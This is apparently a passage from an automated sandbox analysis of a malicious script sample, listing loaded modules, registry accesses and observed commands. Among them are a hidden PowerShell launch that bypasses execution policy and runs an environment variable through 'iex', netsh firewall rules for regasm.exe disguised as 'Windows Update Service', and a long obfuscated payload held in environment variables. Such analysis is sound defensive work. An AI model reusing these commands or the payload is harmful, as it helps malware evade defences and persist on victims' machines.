7fff40e70000 "WScript.exe" loaded module "USERENV.DLL" at base 7fff3fc20000 "WScript.exe" loaded module "VERSION.DLL" at base 7fff38060000 "WScript.exe" loaded module "SHELL32.DLL" at base 7fff41090000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7fff3a940000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 20257400000 "WScript.exe" loaded module "NTDLL.DLL" at base 7fff439a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fff3c2a0000 "WScript.exe" loaded module "USER32.DLL" at base 7fff42bc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7fff2aa70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7fff41090000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7fff35a30000 "WScript.exe" loaded module "MSISO.DLL" at base 7fff2e390000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7fff3fbf0000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7fff403b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff403b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff403b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff403b0000 "powershell.exe" loaded module "KERNEL32" at base 7fff40e70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff1c5c0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7fff40e70000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7fff42b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7fff268b0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1d99a310000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7fff3fcf0000 "powershell.exe" loaded module "VERSION.DLL" at base 7fff38060000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7fff11500000 "powershell.exe" loaded module "USER32.DLL" at base 7fff42bc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7fff403b0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7fff32590000 "powershell.exe" loaded module "NTDLL" at base 7fff439a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7fff42e20000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7fff43850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7fff0ff00000 "powershell.exe" loaded module "OLE32.DLL" at base 7fff429c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7fff42e20000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7fff42d50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7fff0f290000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7fff0e810000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7fff0e760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff3f130000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fff40090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7fff0c6f0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7fff42e20000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7fff42e20000 "powershell.exe" loaded module "NTDLL.DLL" at base 7fff439a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7fff431f0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7fff41090000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7fff40030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7fff40030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff3fda0000 "powershell.exe" loaded module "AMSI.DLL" at base 7fff269c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff38060000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fff26640000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7fff3fda0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\9P2RG7FO.DLL" at base 7fff13580000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7fff20da0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7fff20d00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7fff198c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7fff19780000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7fff0be40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7fff20ca0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7fff0b4d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7fff0b160000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7fff403b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fff19630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7fff20c30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7fff0b080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7fff269e0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7fff37920000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7fff3fbf0000 "powershell.exe" loaded module "WLDP.DLL" at base 7fff3ed50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff3e370000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fff11fd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fff40e70000 "powershell.exe" loaded module "USERENV.DLL" at base 7fff3fc20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff42b10000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7fff42e20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7fff0a370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7fff36c40000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7fff3f850000 "powershell.exe" loaded module "WININET.DLL" at base 7fff2e410000 "powershell.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 7fff217d0000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7fff3c460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7fff217d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fff3f580000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NET.HTTP\04AB5D047CC99FC5DAD36592F805B227\SYSTEM.NET.HTTP.NI.DLL" at base 7fff1e6b0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7fff3f2b0000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7fff34440000 "powershell.exe" loaded module "RASMAN.DLL" at base 7fff34570000 "powershell.exe" loaded module "WS2_32.DLL" at base 7fff43740000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fff38880000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fff38af0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7fff3f070000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7fff315a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7fff315f0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7fff431c0000 "netsh.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff403b0000 "netsh.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff403b0000 "netsh.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff403b0000 "netsh.exe" loaded module "KERNEL32" at base 7fff40e70000 "netsh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff1c5c0000 "netsh.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 7fff3fcf0000 "netsh.exe" loaded module "IFMON.DLL" at base 7fff36c60000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7fff20e80000 "netsh.exe" loaded module "MSVCRT.DLL" at base 7fff43640000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7fff269d0000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7fff20c80000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7fff36c50000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7fff36c30000 "netsh.exe" loaded module "FWCFG.DLL" at base 7fff26640000 "netsh.exe" loaded module "HNETMON.DLL" at base 7fff324c0000 "netsh.exe" loaded module "NETIOHLP.DLL" at base 7fff1e720000 "netsh.exe" loaded module "NETTRACE.DLL" at base 7fff19630000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7fff2e090000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7fff1e670000 "netsh.exe" loaded module "RPCRT4.DLL" at base 7fff43850000 "netsh.exe" loaded module "NSHWFP.DLL" at base 7fff12350000 "netsh.exe" loaded module "P2PNETSH.DLL" at base 7fff13590000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7fff2d670000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7fff1f3e0000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7fff2d590000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7fff122c0000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7fff2c500000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7fff195b0000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7fff121b0000 "netsh.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7fff42e20000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff3e370000 "netsh.exe" loaded module "WCMAPI.DLL" at base 7fff24e00000 "netsh.exe" loaded module "USERENV.DLL" at base 7fff3fc20000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\SPPC.DLL" at base 7fff31a20000 "netsh.exe" loaded module "KERNEL32.DLL" at base 7fff40e70000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fff40090000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7fff12190000 "netsh.exe" loaded module "OLEAUT32.DLL" at base 7fff42d50000 "netsh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff269c0000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7fff20e20000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7fff20c20000 "netsh.exe" loaded module "FWCFG.DLL" at base 7fff21b80000 "netsh.exe" loaded module "NETIOHLP.DLL" at base 7fff1e6d0000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7fff1c5d0000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7fff1e660000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7fff1c5b0000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7fff195b0000 "cmd.exe" loaded module "KERNEL32" at base 7fff40e70000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7fff403b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7fff403b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7fff403b0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7fff431c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff403b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff403b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff403b0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff269c0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7fff40e70000 "cmd.exe" loaded module "NTDLL.DLL" at base 7fff439a00003d:T12ee,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "XML DOM Document" (Path: "HKCU\CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\TREATAS") "WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "WScript.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS")3e:T48a,Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00004012-00000BC0-1340843409] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -NOP -nonI -EP BYPAss -Command "iex $env:7Qnw9QqsFYNhx3R"" [Source: 00000000-00004012-00000C47-5683490790] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" [Source: 00000000-00004040-00000C46-34069057088] Observed system executable string:"%WINDIR%\System32\netsh.exe" [Source: 00000000-00008164-00000BC0-1367449228] Observed system executable string:"%WINDIR%\system32\netsh.exe" [Source: 00000000-00008164-00000C47-1599987602] Observed system executable string:"netsh advfirewall firewall add rule name="Windows Update Service" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" enable=yes" [Source: netsh.exe] Observed system executable string:"netsh advfirewall firewall add rule name="Windows Update Service Host" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" enable=yes" [Source: netsh.exe]3f:T40ab5,Process "powershell.exe" (UID: 00000000-00004040) was launched with new environment variables: "9DL6DfWc9xb2vEMTw1Ez="以仙产乀乫亗亽亄丽两乓久仅三仁丼乴乡両产为事乜们中丨乤亯乨于争乙乖亠丑了乃于亢丸且了丆乹亻仉乷他下五买亳乊丼仕乴丄仚仆丶亴仚乕丒享仢事亐享且乐乥与乬亭主丅亞亪丷仼五丳亴仪亚丧乎丝亨仃亴亹今丬京亘亞乏乡亡丝仉仮仼丵丈亖从临丮乂享仆亭件丢仚丼之从丈乫仄从乸亮亪亴仧丕亻些仢亓丂仦亳三仂书乼丵亚享们乗亿乢乻以之仫亲亿仮丒书丑仩以丢二些乧丒亵乭仳仪亯京乀丑亰从乩份亚両両仂介举争亼丛仜且乞乩价丸亅七両仉仑丛仢亃仆仙丱份乿东乐亨亳们乭乕丬仰仹亄仌丌丅仨亂亓今亖乎仴亭丅乆亭亨价仒乨仟丕乂亀串亷乾什亜乁乃亭丶亖仞乑令九乖仞亯乼乿亪个乪仑亙今亇亵亾予亡仿亿亙丹仵両亓乹乼乾乐仞仦丗乹仿亳乐丣丐丨丒乊仱仗乸亐亖令亚仈乗五乞丧亗丙仹亏丒亣亳习令乳乪亼亖乁亐乬丬仦业仫仂乮亙乞乧仴丂仍亠乩乶今丒丌仫乬临乞仹不仏仂亾乺丣今亻丸二丸亭乥亚乛亚京亝仺仒並仮仦亟亘丯东中乺串丣仈亹亊乺丨乂丑仈亗代乯亀乁丣乴也乴也乻両从仯乙亗事乄乶仫丷乖丂乲临亮亙丠交仲丸两乸些份产件亩乱仃仍乞亂乁交严仗乮乩丟丗买亲任乃乮乡什丬丣丁事仹亍主仯乞仜丽亖代什乭万仲仳个交亞丼丅亅乥不乣亿交亹临上七乐仕仹丑丆丛亟乩件们仆仭乺亠仇七亐乔丑么丞丰仵亏乡乔仂丩乼両亟乁争亃仅临亅乭乶丒丳仈亊丸乬主也为丑中乧仭仪亐亟乓义丿万乇仡丅乮件丼丈争乲仮九亙乿仿亘亓世仢亊乨为乑们亻乩亰举乏亐乽亙亗仙从亅仛丯亏仌丣乜亥仐份仰仟乆亝亏乻乵亞丒仃乄亭仄个丟七乨乃乒丑东丅乢仝乵亯乇乙仒乶举丟京临习人乫亝仲乘亞五亶乎仁仄仪丵亯亍丂乎仑仲交亍丙丄仕亍人亙仍乴仌乯专丹丬亃二价世仏亶什亠亙丟丵个仗云仾乚介仩仛丗乇九乢些乲亜丒乱京乃乼享严丘乒仄三並久仌丿仳乂乕了仙丯亢乼乘亅下不仲亱並丵丄仦予丧乶乇一乂乊亇丽丑亃仭仙以书並丰乡丷丧乢丘亲七乌丱両丆乫仛仾亲些两丏丽亏丸亪丧丧亥乂丳两仴亓乏亜丵义仔丠乑价乢亳丈二丄主乀乖仪乒丯乪丰丱亠仇丝仙乒二亰亡丄仪乛亥些仑他仭些丘亢丣乿仐丏乮丸乬下乇之丌介乐临丏亞以乩亐亭仢亯乭亊乎乇亪乯亏仢丛且丬亂亸乼亖仑亚仁他乺从于乌仉乧乩亳乞仺丆乄乹仡仳享並乷亏亍买丶之丕仲今亃亷予个亁仳仡仠且亸二事丕代今乽乼丷丩丌仱亙丩亃乔乌们仔丽之乭亿乒丨亰乯下仙买习仴丱亙丣乊乓乼亐不仱丞亯仩亻仞亡乀亽仸从亳乧亵业交仨亃争介五仱买七丸久亾仢予亏仡丬", 7HVauIl1gX="予乤买亴乢五乱亮仟乔乗亗乪且仾丱亴乡为亴乛令主亾仄乴丑丷代乃临乘亊仗乒亂仙両乀亱仙万仌丅乆云亳乚之他乁乼仆乲乀上仇乢书丣也争代仸亡仏丙令亝仍乵什仕乍丝仨中亊亶乪仃乢乻人亽乥乚仇亦亩专代丼乼万丆乎仟乑並仭乥亏互仸二丳仠产乩仍亢亸争亰五丑下乂仁乲丟乮仅与争亪之于亝乐仲争乪丢亯争丨亗件今两乩为仼乐亩仝仢仉他乪二仯丈亏乡丄下丐丷亭丙乇丫亞亜乏亐亘丄亀乁丞丄亃世乙亭乨久临万仭亅乓亇乕亭乶付丏亘仦乯亦亵丱份仜仉仪业丨丷以亠仯仧乊一乂争严乳亳丢业乭乬之丢五亹专仁亨争丱丶个交乏仞书乷乘乄丰主亏书乊仫亵乍亂丫亭件仒丶仂仠仏亀両丘交乂乌五久乡亶亶二仚丶仒亀亊丷两与乏仁乮亷仭予乘丨亸乖仭仱产仗仵丿丄丟亿乓仿亦亍仩亾个仳亚丞乱亅仍亹丒习丫交乬乛亢乶令亩什乸亼亖亪丰亦丷亭丮丟仳両仉亰付丳且丕乄亷习丰乃乇丐久仞乁于亼仄争亼仯亰仙乼亂丼丣丛乯亐买乘买丿丞仹乑亇交亭仫丧丑乵他丑介仛丝乿仾些仃乳丕並仌丢以乼丩丈串乩乎亭仗乊乍仒仜乂什以乨両仓亘三丏仺仛们丌份亳事仿久亖乺仼仟乙习丨仇义仼久买仏人乯丄们一乬乧亙乒乼仹亟书人丽乃乢丙仕互亿仈任丶亴丌们云东亶以丑丼仸亞举丕个七丏亮云丂他仂乸亦丣上丮一亻丁以丼亶五丰丗乁串介丄丗亘乏乪亗亭件亭些亍丑仞举严九亥么丐些三仏仔亡介介什丈仄丸仼亚些乡乍仸乏丒丮主亐乕习乗一亜三仿产亚仰亅丮丕不也些亗一仇乨亱乃乘们仾乲丅仮乇仲丫乚丘乳乧亣亟亵丕个仵乘亶二丫仏乼仒両乛亟亣亘亷亓亟乂乸乍两件乒丧仆丬三丆丨乣业乱仜五乆仓亲乫丈些仭亸亯仩仼乩乴仱严丙仪乾们丹仺仜乯亵仸亜两丘仩予亘乍仾亻乨仯亃丁亪二丞亃产丰乭丧乣义乤东亄並丂丁乕之乎乯乂仁丽乖丛为主乼举亇二乘仿丠亇仩两乥仫仛丿五乕亻丰乱乘两久仈乗亽仇乑乁仨乞丑亡九丣両仚七仾井乇书专仠乖京乭丌仍丞仚买亿仼乁业乪主书亏井亨下两仭亻仉亏不亘什乀仵什亣乮以丯予临仙仪仈万乹五丿串仪京今仁京乷乃仚乵亲丢亾亯乑些仴亪乡亗丵乊仏乓仦仏亥亥份仰亃亥丏丄乖亱下亮丝仝亀什亢两丷以丘三亁仓亡仡乶亯买亢乛亹亹亘买乵仛享仇串乫九仒丁亦亵乘丄上丯乗乪並乽业京亡仲之丛仉